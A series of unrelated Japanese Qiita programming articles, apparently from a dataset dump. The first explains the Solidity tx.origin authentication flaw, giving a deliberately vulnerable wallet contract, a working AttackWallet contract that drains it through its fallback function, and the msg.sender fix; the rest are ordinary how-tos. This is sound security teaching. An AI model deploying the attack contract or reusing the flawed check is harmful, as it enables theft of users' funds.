OmniAICreator/Qiita-1.07M huggingface dataset:
tx.origin攻撃

# 要約

ユーザ認証にtx.originを使ってはいけませんというお話。

# バグのあるウォレット

fallback関数による入金機能と、transferTo関数による送金機能、それとgetBalance関数による残高確認機能のみのシンプルなスマートコントラクトウォレットを作りました。

```
pragma solidity ^0.4.11;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract MyWallet {
    address owner;

    function MyWallet() public {
        owner = msg.sender;
    }

    function() public payable {}
    
    function transferTo(address _dest, uint _amount) public {
        require(tx.origin == owner); // BAD
        _dest.call.value(_amount)();
    }
    
    function getBalance() public view returns (uint) {
        return this.balance;
    }
}
```
transferTo関数ではrequireでこのコントラクトをインストールした自分以外の呼び出しはエラーになるようにしてあります。誰かに残高を盗まれたら困りますからね。

そして1ETHを入金しておきました。getBalance関数を呼ぶと1000000000000000000が返ってきます。

# 送金

なにか物を買うかして、アドレス0x0123456789abcdef0123456789abcdef01234567に10weiを送金することになりました。

transferTo(0x0123456789abcdef0123456789abcdef01234567, 10)

を実行すれば良いです。簡単ですね。

# 残高確認

**getBalance関数を呼ぶと0が返ってきました？？？？？？**

# 攻撃ウォレット

実はアドレス0x0123456789abcdef0123456789abcdef01234567はEOAではなくコントラクトでした。

```
pragma solidity ^0.4.11;

interface Wallet {
    function transferTo(address _dest, uint _amount) public;
}

contract AttackWallet {
    address owner;

    function AttackWallet() public {
        owner = msg.sender;
    }

    function() public payable {
        Wallet(msg.sender).transferTo(owner, msg.sender.balance);
    }
}
```

MyWalletからAttackWalletへ送金をすると、AttackWalletのfallback関数が呼ばれます。AttackWalletのfallback関数では、再度MyWalletのtransferTo関数を呼んでいます。transferTo関数で呼び出し元をチェックしているから大丈夫… と思いきや、チェックしているのはtransferTo関数の呼び出し元ではなく、**tx.origin(トランザクションの呼び出し元)**です。トランザクションの呼び出し元は最初にtransferTo関数を呼んだEOAアカウント、つまりMyWalletのownerなので、requireは成立してしまい、MyWalletの全ての残高はAttackWalletのownerに送金されてしまいました。

# どうすれば良かったのか

この部分

```
        require(tx.origin == owner); // BAD
```

呼び出し元チェックはmsg.senderを使いましょう

```
        require(msg.sender == owner); // GOOD
```

また、 https://qiita.com/k-keisuke/items/cd2744c7ba085beff16b にあるように、送金時はaddress.call.value()()ではなく、addess.transfer()を使いましょう。後者はfallback関数で2300gasを超える処理を実行するとエラーになります。

# 参考

http://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin
ここのコードを若干改変

https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514
解説はここを参考
【Unity】プレイ中に巻き戻ししたり１カットをループ再生するエディタ拡張

# はじめに
みなさんはUnityのコマ送り機能を使ったことはありますか？

ゲームでエフェクトやアニメーションなど動作を１フレーム単位で確認するのに役立ち、特にデザイナーさんなどはよく利用しているのではないかと思います。

ただ、ここで問題になってくるのは巻き戻し機能がないことです。当然といえば当然ですが、実際これがないというのは結構不便で、もう一度動作を確認したい場合はゲームを停止して再度プレイする必要があります。

今回はこの手間を改善し、動作確認テストを楽にすることを目標としました。

# 環境
Unity 2018.1.0f2

# 作ったもの
![one_cut_checker.gif](https://qiita-image-store.s3.amazonaws.com/0/253997/1af73d8f-d83f-4f69-3934-a0d36c2b126e.gif)

名は『One Cut Checker』
GameObjectやSceneを編集することなく、エディタ上からゲームを巻き戻したり、１カットをループ再生することができます。

また他の機能として、動作確認テスト時によく使用する一時停止やコマ送りなどはショートカットキーとして登録してあります。

これらはUnity標準でも登録されていますが、例えば一時停止するためには「Ctrl+Shift+P」を入力する必要がありました。
片方の手ではマウスを握っている人が大半でしょうから、もう一方の手でそれを入力するのはとても大変です。

なので、『One Cut Checker』では１キーで入力できるようにしています。

# 使い方
以下のリンクからダウンロードできるpackageをダブルクリックしてUnityにインポートしてください。
https://github.com/yukiringo/OneCutChecker/raw/master/one_cut_checker.unitypackage

Window -> One Cut Checker
を選択します。

表示されたWindowを好きな場所に配置してゲームをプレイします（配置場所はどこでもいいですが、必ず表示されている必要があります）。

動作確認したいところから、ショートカットキーを利用するなら「→」キー、しないならコマ送りボタン（Stepボタン）を押してください。
この操作によってフレームが記録されます。

![change.jpg](https://qiita-image-store.s3.amazonaws.com/0/253997/82d265f1-4142-39a1-f946-d4124673669a.jpeg)

複数回コマ送りすることで巻き戻ししたり、ループ再生できるようになります。

# 解説
巻き戻しと言ってきましたが、一つ謝らなければいけないことがあります。
実はこれ、巻き戻されているのはGameビュー上だけになります。

気になった方は試しに巻き戻した状態でSceneビューを見てください。巻き戻す前の状態になっていると思います。

『One Cut Checker』は、コマ送りされた際にスクリーンショットを記録し、巻き戻しの際にそれを表示しています。
なので、Sceneビューには巻き戻しの状態が反映されていないのです。

巻き戻した際にSceneビューとGameビューの見た目が違っても、それはバグではありませんのでご了承ください。

# まとめ
これで動画ソフトと似た感覚で動作確認ができるようになり少し楽になりました。
もしよかったら使ってみてください。

こちらはgithubにて公開しています。
https://github.com/yukiringo/OneCutChecker

バグ報告や感想、意見などお待ちしております。
https://twitter.com/_ykringo
curl→gsに変換

# GAS触ってる人からしたら常識ですが...
gsとはgoogle apps scriptで動くjsみたいな言語のこと。
例をあげます。

# 例

## curl

```curl
curl -X POST 'http://localhost:3000/test' \
-H "Accept: application/json" -H "Content-type: application/json" \
-d '{"array":["59","33"],"date":"15 May 2018 00:00:00 GMT","id":"71"}'
```

## gs

```js
var url = "http://localhost:3000/test";

var headers = {
  "Accept": "application/json",
  "Content-type": "application/json"
}

var data = {
  "array":["59","33"],
  "date":"15 May 2018 00:00:00 GMT",
  "id":"71"
}

var options = {
  "method": "post",
  "payload": JSON.stringify(data),
  "headers": headers
};
UrlFetchApp.fetch(url, options);
```

実際にはgasからlocalhostに飛ばせないですけど(多分)、例として...

optionsのpayloadはstringにしないとうまく渡らないこと多いです。
特にjsonのなかに配列とかのobjectがある場合は。
API側の仕様次第ですが。
[ エラー ] Larvel [PDOException] SQLSTATE[HY000] [2002] Connection refused

# php artisan migrateをコマンド実行した際のエラー

初歩的なところでエラーになったので、メモとして書いておきます。

```
$ vagrant up

$ vagrant ssh
```

のコマンドを実行した後に

```
$ php artisan migrate
```

を実行するとエラーに。

```
[PDOException]
SQLSTATE[HY000] [2002] Connection refused
```

原因はvagrantファイル内で実行していなかった為（ディレクトリが間違っていた）
なので、cd コマンドでファイル内に移動

```
$ cd default （vagrant内のファイル名）
```

これで php artisan migrate コマンドを打てば実行される

#違うエラー

vagrant upでこのエラーが出た場合
私の場合、対処は上記と同じでしたが、
VagrantとVirtualBoxとの紐付けがちゃんと出来ていない事があるみたいです。

```
A Vagrant environment or target machine is required to run this command. 
Run `vagrant init` to create a new Vagrant environment. 
Or, get an ID of a target machine from `vagrant global-status` to run this command on. 
A final option is to change to a directory with a Vagrantfile and to try again.
```
【PHP】キャメルケース⇔スネークケースの変換方法


```php
<?php

function convCamelize($str) {
    return str_replace(' ', '', ucwords(str_replace('_', ' ', $str)));
}

function convSnake($str) {
    return strtolower(preg_replace('/[A-Z]/', '_$0', lcfirst($str)));
}

// スネーク→キャメル
$str = 'hoge_hoge';
echo "before : ".$str." after : ".convCamelize($str).PHP_EOL;

// キャメル→スネーク
$str = 'hogeHoge';
echo "before : ".$str." after : ".convSnake($str).PHP_EOL;
```

```bash
$ php test.php
before : hoge_hoge after : HogeHoge
before : hogeHoge after : hoge_hoge
```
webpack で Typescript ビルドする時は extensions に .js も忘れないようにしような

タイトルで言いたいことはすべてなんですが、1年ぶりくらいに Typescript 触ってハマったので気をつけてねと言う話。

webpack で TypeScript をビルドする時に、extensions にこうやって設定すると思うんですが、

```javascript
  resolve: {
    extensions: ['.js', '.ts']
  }
```

.js を忘れると、node_modules から他のパッケージを読み込んだりする時に .js のファイルを考慮にいれないため、`Module not found`とか言って怒られます。

webpack 4 に上げたので 0 から構築するかと思ってやってまして、ts ファイルしか関係ない最小構成でやってた時はビルドが通ってたので、パッケージの依存関係がおかしいのかとか右往左往してしまいました。

あまりに初歩的ですが、忘れないように記録。
GithubのSSH認証キー登録でつまづいたので

ものわすれがはげしい。

githubへのSSH鍵登録でつまいたところを助けていただいたページをメモっておきます。

## SSH鍵作成＆githubへの登録方法
[SSH認証キーをGitHubへ設定する。（Mac用）](https://qiita.com/Mitsunori_Tsukada/items/6886f1f28d9485484822)

## Permission denied (publickey)がでる
[[GitHub] 公開鍵登録の際に、Permission denied (publickey). が出続ける場合の対応 (vagrantからsshする場合の注意も)](https://qiita.com/colorrabbit/items/6c3e96c394bb0f753ea0)

## The authenticity of host 'github.com (xxx.xxx.xxx.xxx.)' can't be established.がでる

[GithubにSSHで接続し、リポジトリを作成する](http://www.g104robo.com/entry/github-ssh)

## 他
[SSH接続でgit pushしたときに警告が出るやつへの対処法](https://qiita.com/tdrk/items/a0554763c29f60e347b5)

[GitHubに入門（その１）](https://qiita.com/asam316/items/583a3aab9826ae4cf5b8)
Dickey-Fuller 検定でデータ系列の定常性を調べられるか

時系列分析をしていて悩んだことがあったのでメモ。

## 疑問
様々な資料を読んでいると「Dickey-Fuller 検定をやって単位根が無かったのでこれは定常過程」と書いてあるものがあまりにも多かった。

しかし Dickey-Fuller 検定は「データ系列に単位根が存在する」を帰無仮説とする仮説検定であって、帰無仮説が棄却された場合それは「データ系列に単位根が存在しない」ということが言えるに過ぎない。

- 定常性の定義は `abs(φ) < 1`
- 単位根の定義は `φ = 1`

(φ は自己回帰係数)

だから、

| | 定常性 | 単位根 |
|---|---|---|
| abs(φ) < 1 | **定常** | なし |
| abs(φ) > 1 | 非定常 | なし |
| φ = -1  | 非定常 | なし |
| φ = 1 | 非定常 | **あり** |

ということであって、「単位根がない」からと言って「定常性がある」と言うことはできないのではないか？

## わかったこと
「データによっては」、Dickey-Fuller 検定の対立仮説を「定常性がある」とすることができる。

[現場ですぐ使える時系列データ分析～データサイエンティストのための基礎知識～ (横内大介;青木義充)](https://www.amazon.co.jp/dp/B00KNRL068/) によると、

> 収益率の時系列プロットは図3-5の(a)、(b)、(d)のように発散していくようなものではないため、収益率は「単位根を有する」か「定常性を満たす」のいずれかであると考えられます。いま、Dickey-Fuller 検定によって収益率が単位根を有していないことがわかりましたので、消去法的に収益率が定常性を満たしていると判断できます（注10）。
> 
> （注10）R の出力では Dickey-Fuller 検定の対立仮説が「データ系列は定常性を有す」となっていますが、正確には本文で述べた手続きを踏んだ後に、「データ系列が定常性を有す」という判断に至ります。

つまり、 `abs(φ) > 1` や `φ = -1` な時系列データは発散するため、そもそも扱っているデータが発散するようなデータ系列ではない場合はこれらの可能性を考慮しなくてもいい、ということ。

残った `abs(φ) < 1` (定常過程) と `φ = 1` (単位根過程) のうち、単位根過程が否定できれば消去法で定常過程だと言うことができる、つまり Dickey-Fuller 検定の対立仮説を「定常性がある」とすることができる。
VMware (@Windows 10) > ユーザアカウント制御のダイアログ > VMware Authorization Serviceが未開始の時に表示される

```txt:動作環境
ホストOS: Windows 10 Pro (64bit) バージョン 1803 (April 2018 Update)
VMware(R) Workstation 14 Pro バージョン 14.1.1 build-7528167
ゲストOS: Windows 8.1 Pro (64bit)
```

ゲストOSを起動時に以下のメッセージが表示された。

> ユーザアカウント制御
> このアプリがデバイスに変更を加えることを許可しますか?
>
> このVMWareは管理者権限が必要です。[キャンセル]をクリックすると、アプリケーションの機能が制限されます。
>
> 確認済の発行元: VMware Inc.
> ファイルの入手先: このコンピュータ上のハードドライブ

キャンセルを選択すると、以下のメッセージが出た。

![180515_1137_vmware.png](https://qiita-image-store.s3.amazonaws.com/0/32870/53874459-eeb5-a18a-be26-5d91f839fdd2.png)

VMware Authorization Serviceでユーザアカウント制御が関連するようだ。

### 関連

- https://communities.vmware.com/thread/528789
   
Demuzによると、PC起動直後にVMware Authorization Serviceが未開始の場合があり、その時にUACダイアログが表示されるとのこと。

### 確認

1. PC起動
2. VMware Authorization Serviceが起動していることをタスクマネージャーで確認
3. ゲストOS起動

UACダイアログは表示されなかった。
JenkinsとBitbucketの連携（パイプラインでのBitbucket使用）

JenkinsとBitbucketを連携する手順の覚え書き。
JenkinsのパイプラインでBitbucketを利用するための設定なので、参考になるかどうかは不明だけど、書き置き。

環境： ubuntu(xenial)

# keyの作成
ssh-keygenを使って秘密鍵、公開鍵を作成する。

```sh
$ ssh-keygen
Enter file in which to save the key (/home/ユーザ名/.ssh/id_rsa): /var/lib/jenkins/.ssh/id_rsa
```
キーのパスとパスフレーズを聞かれるが、パスに上記 ```/var/lib/jenkins/.ssh/好きなキー名``` を入力する。
最初入力しないで作成してデフォルトの場所 ```$HOME/.ssh/``` にファイルができてハマった。
jenkinsは ```/var/lib/jenkins/.ssh/``` を見に行くらしい。
※パスフレーズは任意

# Access Keyの設定（Bitbucket）
リポジトリの設定からAccess Keysの画面を開き、「鍵を追加」ボタンを押す。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17121/6f806c6b-1c64-e1fb-5315-91f3b09e350b.png)


出てきた画面で、Labelに任意の値を入力し、Keyのところに上で作ったid_rsa.pubの内容をコピペして「鍵を追加」ボタンを押すとBitbucket側でのキーの設定は完了。(ssh-keygenでキー名をつけた場合は「キー名.pub」ファイルの内容。）

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17121/dce2920b-ba18-070b-27cb-e8a0ebe98c6c.png)
※撮影用に作った鍵なのでお構いなく

# Bitbucketプラグインのインストール（Jenkins）
JenkinsのWEB画面から、
　Jenkinsの管理>プラグインの管理　へ移動して、
「利用可能なプラグイン」タブでBitbuket Pluginを探し当ててチェックを入れて、画面下の「再起動をせずにインストール」を押すとインストールが始まるので、しばらく待つ。
インストールが終わると「インストール済み」のタブのところに Bitbuket Plugin が現れる。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/17121/fd4a55b3-0817-e1ff-9b4f-6837c9097aa4.png)

# 認証情報の登録（Jenkins）
Jenkinsダッシュボードから「認証情報>System>グローバルドメイン」で画面遷移した先で、「認証情報の追加」ボタンを押して、認証情報の入力画面へ移動。
種類を「SSHユーザ名と秘密鍵」に変更し、秘密鍵を「Jenkinsマスター上の~/.sshから」にする。
（/var/lib/jenkins/.ssh/id_rsa　を見に行くので、キー名変えた場合は「Jenkinsマスター上のファイルから」にしてパス指定かな？）

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17121/a2c34399-73e4-414d-60d0-eb809d6b88a2.png)

保存を押すと「jenkins」というユーザ名で認証情報が保存される。


# pipelineの設定（Jenkins）
Jenkinsのダッシュボードから「新規ジョブの作成」で画面遷移し、パイプラインジョブを作成する。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/17121/971d5cbf-7cdb-8182-c3c7-9e3278ae248d.png)

諸々設定はあるだろうけど、パイプラインのところでリポジトリURLに```git@bitbucket.org:"bitbucketユーザ名"/"リポジトリ名".git```を記入し、認証情報に上で作成した「jenkins」の認証情報を選択。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17121/cc2d4c09-ce14-d3ce-5c74-b99eabfb2612.png)

最後駆け足になったけど、これで一応JenkinsとBitbucketの連携が完了したので、あとは煮るなり焼くなりするといい。
今更だけどRailsアプリケーションにBasic認証を設定した

あるRailsアプリをHerokuにデプロイして個人用に動かしているのですが、
そこにBasic認証の機能を設定したときのメモです。

# Controller全体に認証をかける

```ruby:application.rb
class ApplicationController < ActionController::Base
  before_action :basic

  private
  def basic
    authenticate_or_request_with_http_basic do |name, password|
      name == ENV['BASIC_AUTH_NAME'] && password == ENV['BASIC_AUTH_PASSWORD']
    end
  end
end
```

これだけです。

また、プロダクション環境だけBASIC認証をかけたいなら

```ruby
if Rails.env == "production"
```

を追記し、特定のコントローラーだけに認証をかけたいなら`application.rb`ではなくそのコントローラーのファイルに書きます。

僕の場合は`.env`で環境変数を管理しているのでそちらに記載します。

```sh:.env
BASIC_AUTH_NAME=hegohego
BASIC_AUTH_PASSWORD=fugafuga
```

# Herokuの環境変数も設定する

これはもうRailsの知識ではなくHerokuの知識ですが、一応。

```shell
# herokuの環境変数を確認
$ heroku config

# herokuの環境変数を追加・変更
$ heroku config:set BASIC_AUTH_NAME=hogehoge
$ heroku config:set BASIC_AUTH_PASSWORD=fugafuga
```
Linux標準教科書(Ver.3.0.0)のまとめ ~第12章~

# 第12章 ファイル管理

## ファイルシステムとは

ファイルシステムとは、ファイル名・更新日付などの属性データとファイルデータ本体を効率よく管理するための仕組みです。オペレーティングシステムが異なれば、利用できるファイルシステムも異なります。

**※ Linux で利用できるファイルシステムの一例**

|FS名|内容|最大サイズ|最大ファイルサイズ|
|:--|:--|:--|:--|
|ext2|Berkeley Fast File System を参考にした16ビット構造|16TB|2TB|
|ext3|ext2にジャーナル機能付加と機能拡張|2~32TB|16GB~2TB|
|ext4|ジャーナリングファイルシステム。ファイルの断片化防止などさまざまな機能拡張によりパフォーマンスが向上|1EB|16TB|
|ReiserFS|小さなファイルの扱いに向いたジャーナリングファイルシステム|8TB|16TB|
|XFS|SGI社が提供したジャーナリングファイルシステム|8EB|8EB|
|JFS|IBM社が提供したジャーナリングファイルシステム|512TB|4PB~8EB|

**※ Windows で利用できるファイルシステムの一例**

|FS名|内容|最大サイズ|最大ファイルサイズ|
|:--|:--|:--|:--|
|FAT16|セクタという領域を一次元配列で管理するファイルシステム。現在は使われない|2GB(NT:4GB)|2GB(NT:4GB)|
|FAT32|セクタという領域を一次元配列で管理するファイルシステム。外付ディスクなどで使われており、 Windows 以外でも利用できる|2TB(2KBセクタ:8TB)|4GB|
|NTFS|NT/XP/Vista用ジャーナリングファイルシステム|256TB|16TB(16EB)|
|exFAT|フラッシュメディア向けファイルシステム|8ZB(512Bセクタ時)|16TB(16EB)|

**※ CD / DVD のファイルシステム**

|FS名|内容|
|:--|:--|
|ISO9660|ISO(国際標準化機構)で標準化されたファイルシステム、 Joliet や RockRidge や Apple の規格拡張が存在、CD や DVD に利用される|

## ジャーナリング機能とは

ジャーナリングとは、ファイルシステムに対する書き換え処理のコマンドをファイルシステムに逐一記録する機能です。コンピュータが急停止するなどの障害時に有効になります。例えば、コンピュータが急停止し、ファイルのデータがファイルシステムに書き込み途中である場合、書き込み途中のファイルが作られなかった状態に戻します。

## iノード

ext3 (ext2) ファイルシステムは、ファイルやディレクトリに対し、i ノード番号というユニークな番号を割り振って管理しています。ファイルシステムを作成した時に i ノード領域という場所が確保され、ファイルのディスク上の位置やアクセス権限などの情報が保持されています。

注意しなければならないのは、i ノード領域が足りなくなると、ファイルシステムにデータを書き込める空き領域があったとしても、新規のファイルが作成できなくなります。

![brunch.png](https://qiita-image-store.s3.amazonaws.com/0/186009/fd1e8e56-4d81-e764-2af4-c1093faa82bf.png)

ext3 ファイルシステムの i ノード領域の使用状況を確認するには、 df コマンドに -i オプションをつけて実行します。実際に以下のコマンドを実行して、確認して見ましょう。

```console:実行コマンド
# df -i
(i ノード情報を表示)
Filesystem                Inodes  IUsed    IFree IUse% Mounted on
/dev/mapper/centos-root  3248128 144129  3103999    5% /
devtmpfs                  123092    357   122735    1% /dev
tmpfs                     127029      1   127028    1% /dev/shm
tmpfs                     127029    490   126569    1% /run
tmpfs                     127029     16   127013    1% /sys/fs/cgroup
/dev/sda1                 524288    327   523961    1% /boot
tmpfs                     127029      6   127023    1% /run/user/42
tmpfs                     127029     17   127012    1% /run/user/0
```

**※ 項目の説明**

**Inodes**: iノード領域の全体数
**IUsed**: iノード領域の使用数
**IFree**: iノード領域の残り数
**IUse%**: iノード領域の使用率
**Mounted on**: マウント位置

ファイルに割り振られている i ノード番号も以下のコマンドを実行することで確認できます。

```console:実行コマンド
# ls -il /bin | sort
34212 lrwxrwxrwx. 1 root root 7 Apr 24 16:19 /bin -> usr/bin
```
rails × 論理削除 × 一意制約

rails っぽく 論理削除を実施すると(まぁ、いろいろと賛否ありますがそこはスルー)
acts_as_paranoid あたりで実現することになりますね。

```
  t.datetime "deleted_at", null: true
```

で、その一方で、UK * 論理削除　という問題が広くあったりします。
一般解法としては、
UKに論理削除フラグを含める、です。

参考: https://qiita.com/mojatter/items/a805c233545a76c7624f


ただし、paranoid系論理削除は、要注意です。

```
  t.index ["email", "deleted_at"], unique: true # ridgepole形式です。migrationも似たような形でしたよね？
```

* rails論理削除は、「通常時がnull、削除時に値が入る」
* null に関するインデクスは、DB毎にだいぶ異なる
* 特に、複合UK

なんともまぁ、ニッチで重箱の隅な条件になってくるわけです。
DB特性の癖が出てきますね。

MySQL / OracleはOK
SQL Serverはアウトっぽい。ほかの機能（部分インデックス）などで実現することになりますね。

参考: https://qiita.com/yuba/items/70165875cfe02b03513d


いちおう、mysql の　複合UKの挙動は...

> 複数のカラムを対象にユニークキー制約を設定している場合は、対象となる全てのカラムの値がNULLの場合だけ重複したデータを格納することができます。

とのことなので、
本セオリーで問題なし。（確認済み）

参考: https://www.dbonline.jp/mysql/table/index9.html


しかも、rails 論理削除でのうれしい点があります。

「複数回の削除でも重複しない」
deleted_atがずれていくため、削除同士がuniq制約にかからない。
何気にこれは非常にありがたい :sunny:

というわけで、

神は天にいまし、世はすべてこともなし :rainbow:
Cloud DatastoreでKeyのIDを取得する方法

## 背景/目的

Cloud Datastoreを利用している際にIDを自動生成したあと、Queryで取得したエンティティのKeyのIDがほしかったのだが、アクセスするための情報がなかなか見つからなからず苦労したので忘れないうちにメモをしておく。

## 結論

公式の [Datastore メタデータ](https://cloud.google.com/datastore/docs/concepts/metadataqueries) に記載されているが以下のように `entity[datastore.KEY].id` とするとKeyのIDの取得ができる。

```javascript:sample.js
const Datastore = require('@google-cloud/datastore');

const projectId = 'YOUR_PROJECT_ID';

const datastore = new Datastore({
  projectId: projectId,
});

const kind = 'Task';

const taskKey = datastore.key([kind]);

const data = {
  category: 'Personal',
  done: false,
  priority: 4,
  description: 'Learn Cloud Datastore',
};

const task = {
  key: taskKey,
  data: data,
};

datastore
  .save(task)
  .then(() => {
    console.log(`Saved ${task.key.id}: ${task.data.description}`);
  })
  .catch(err => {
    console.error('ERROR:', err);
  });

const query = datastore
  .createQuery('Task')
  .filter('done', '=', false);

datastore.runQuery(query)
  .then(results => {
    const tasks = results[0];

    console.log('Tasks ID:');
    tasks.forEach(task => console.log(task[datastore.KEY].id)); // <= IDの取得
  });
```

コレで次からはKeyのID/Nameが欲しくなっても大丈夫。
Linuxのファイルシステム関係コマンド一覧


##mount 
ディバイスをマウントする。

##umount
ディバイスをアンマウントする。

##fsck
ファイルシステムのチェックと修復を行う 
下に紹介するfsck.fatやe2fsckはそれぞれコマンド体系が異なるので注意。

参考
http://www.atmarkit.co.jp/ait/articles/1803/15/news040.html

##fsck.fat
Fatファイルシステムのチェックと修復を行う 

参考
https://linuxjm.osdn.jp/html/e2fsprogs/man8/fsck.8.html

##e2fsck
fsck.ext2、fsck.ext3、fsck.ext4はこれのシンボリックリンク。
ext系のファイルシステムをチェックする

参考
http://tech.nikkeibp.co.jp/it/article/COLUMN/20140317/544004/


##dumpe2fs
ext2、ext3、ext4ファイルシステムの詳細情報を表示する


##fdisk 
ディスクパーティションの作成、変更、修復を行う。

参考
http://tech.nikkeibp.co.jp/it/article/COLUMN/20060227/230775/

##xfs_repair
XFSのファイルシステムを修復する

例
` sudo xfs_repair -Lv /dev/sdb1 `　sda1のドライブを修復する

参考
https://yoshidastyle.net/Blogs/2013/10/17/linux-xfs-cantt-read-superblock
【IE10対応】input[type="file"]がカスタムボタンだと、ダブルクリックしないといけない。

IE10で、`input[type="file"]`が正常にクリックしていなかったので、対応した備忘録です。

ファイル参照のボタンが、カスタムボタンになっていて、デザインが入っていました。

IE10は「参照」と表示される部分をクリックしないと、ファイルをアップロードする画面が開きません。他のブラウザは、ファイル名が表示される場所をクリックしても、アップロードファイルを選択できるのに。

対応方法としては、`font-size:1000px`でした。「参照」という文字をすごく大きくして、カスタムボタン全体が「参照」というボタンで埋め尽くされるようにしたら、okです。

▼元ネタ
https://stackoverflow.com/questions/17195798/ie-requires-double-click-with-custom-button
Upverterで設計したガーバーデータに、Vカット指示を追加してFusionPCBに発注してみた

# はじめに
- [前回記事](https://qiita.com/katsumin/items/f8b5a13597b648923370)で、Upverterで設計したガーバーデータを面付けする方法をご紹介しました。
- 基板分割を楽にするため、Vカットを入れようとしたところ、Upverter上では編集できなかったので、対処方法を探りました。

---
# FusionPCBでのVカット指示とUpverterでの問題
- FusionPCBでのVカット指示（[面付けルール](http://support.seeedstudio.com/knowledgebase/articles/1804867-%E9%9D%A2%E4%BB%98%E3%81%91%E3%83%AB%E3%83%BC%E3%83%AB)）
    - 外形レイヤで、Vカット線（基板の端から端まで。途中で止まってはダメ）を直線で入れる。
    - Vカット線ごとに「V-CUT」という文字を記入する。
    - Vカット線の間隔は８mm以上。（カット後のサブ基板は、最小で8mm×8mmとなる）
- Upverterの問題
    - 外形レイヤでの文字記入ができない。
    - 外形レイヤで線を描けない。
        - 基板の外形なので、~~四角形~~三角形以上の多角形しか描けない模様。（座標指定で三角形は描けることを確認。）
        
---
# 対処方法
- [PCBE](https://www.vector.co.jp/soft/winnt/business/se056371.html)を使う。
- 編集手順
    1. ファイル - ガーバー入力で、外形レイヤ（xxx.gko）を読み込む。（Vカット線のガイドとして、シルクレイヤも一緒に読み込む）
        - ガーバー入力設定ダイアログが表示されるので、「外形」と「シルク-A」だけにチェックを入れ、それぞれファイルパスを指定する。
        ![pcbe3.PNG](https://qiita-image-store.s3.amazonaws.com/0/166435/7061d0a5-744e-16e8-7778-467421458b6d.png)
![pcbe4.PNG](https://qiita-image-store.s3.amazonaws.com/0/166435/39aa4983-4f0d-9c31-6c8f-06ae2a69e2c5.png)
    2. シルク表示をガイドとして、Vカット線と「V-CUT」の文字を書き込んでいく。
    ![pcbe1.PNG](https://qiita-image-store.s3.amazonaws.com/0/166435/99b87e50-e185-9325-d291-2cea18034d8c.png)
    3. ファイル - ガーバー出力で、外形レイヤをファイル出力する。
        - ガーバー出力設定ダイアログが表示されるので、「外形」だけにチェックを入れ、ファイルパスを指定する。
        ![pcbe2.PNG](https://qiita-image-store.s3.amazonaws.com/0/166435/bc596af4-6517-c8d1-5510-eb6980fd7788.png)
    4. 確認として、gerbvに各層と合わせて読み込んでみる。
        - 他の層に対して、X方向に+2.0mm、Y方向に+13.0mmのずれがあった。
        ![gerbv33.PNG](https://qiita-image-store.s3.amazonaws.com/0/166435/e8e6153b-cc29-e817-cc55-1e1d6e3e3635.png)

- 最終状態
    - gerbv上のEdit Layerで、外形レイヤをX方向に-2.0mm、Y方向に-13.0mm補正した結果。
    ![gerbv34.PNG](https://qiita-image-store.s3.amazonaws.com/0/166435/7fad6837-5f94-0a1a-8b78-9d9bf14b9018.png)

---
# FusionPCBで発注する場合の注意
- Vカット指示付きのガーバーデータをアップロードしたところ、基板外形が115.8mm×113.6mmと認識されてしまった。（「V-CUT」を外形レイヤに追加したため、全体サイズが大きくなってしまった）
    - この状態だと製造費用が4000円を超えてしまい、当方の意図（100mm×100mm以内で4.9ドル）と大きくずれてしまう。
    - 心配だったので、発注前にFusionPCBに問い合わせたところ、下記のような回答があった。
        - [通常の基板発注](https://www.fusionpcb.jp/fusion_pcb.html)なら、94.90mm×96.44mmに書き換えて注文すればよい。
        - [＄７.９基板発注](https://www.fusionpcb.jp/prototype-pcb-sale.html)の場合、「V-CUT」も含めて100mm×100mm以内に収める必要がある。
- カット後のサブ基板サイズが15mm×15mmを下回る場合、16ドルの追加料金がかかる。
    - 注文ページでは16ドル追加されなかったので、こちらも発注前に問い合わせたところ、まだ対応できていないとのこと。
    - ガーバーファイルを確認後、追加支払いについてメールが来るらしい。（実際、翌日にメールが来ました）

---
# 基板、届いた。
- 注文が5/13で手元に届いたのが5/24でした。前回は約1か月かかった（春節で2週間休まれた）ので、今回はすんなりでした。
- 配送業者もDHLにしたので、早かったです。
- Vカットも問題ありませんでした。（基板分割も楽々です）
![IMG_0035.jpg](https://qiita-image-store.s3.amazonaws.com/0/166435/ec5811b2-ae84-3afd-7f15-9148f88f9e8b.jpeg)

- 届いたのは11枚（10枚発注）で、1枚はオマケかなと思ったら、2枚は（一部が）製造不良でした。
    - 日本のメーカーでは考えられないな、という感じですね。
    - 面付けが1枚あたり42面、10枚で420面なので、その上では問題がない（2枚の基板不良も、大部分は使える状態）のですが。。
![IMG_0033.jpg](https://qiita-image-store.s3.amazonaws.com/0/166435/878c55ee-f0a3-c50c-9f8a-c15e3d5affc9.jpeg)
Ubuntu on Windows10を使ってみる

取り急ぎ対処方法をメモ
# インストール時エラーへの対処
インストールしてすぐ使おうとすると、エラーが出て萎えた。以下の方法で解決。

![ubuntu_error.png](https://qiita-image-store.s3.amazonaws.com/0/255943/ce81d939-2326-2985-b372-c8386375fb26.png)

* Powershellを管理者権限で実行
* 以下のコマンドを入力し、再度Ubuntuを実行すると解決

```powershell
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
```

# Windowsフォルダの設定
Ubuntu側からWindows側のフォルダにアクセスする

```bash
# Cドライブを指定する場合
cd /mnt/c/
```
#デスクトップ環境の構築
下記参照で簡単にできた
https://qiita.com/__cooper/items/76a00c6f5d43891aa161

## 必要なアプリのインストール
### Ximg
下記サイトから入手（通常はXming-mesaを選択）
http://www.straightrunning.com/XmingNotes/

### Ubuntu側のパッケージをインストール
```bash
sudo aptitude install --without-reccomends lxde fonts-umeplus fonts-inconsolata
```



#補足：プロキシ設定
会社などで使用しようとすると、プロキシではねられる。下記の環境変数を追加

```bash
export http_proxy=http://proxy.hogehoge:8080
export https_proxy=$http_proxy
```

注意：aptを使用する場合、Eオプションを追加しないと環境変数を引き継いでくれないため注意（https://qiita.com/showsuzu/items/9ee031208d38ff8ac889）

```bash
sudo -E apt-get update
```



# 参考
Microsoft Community
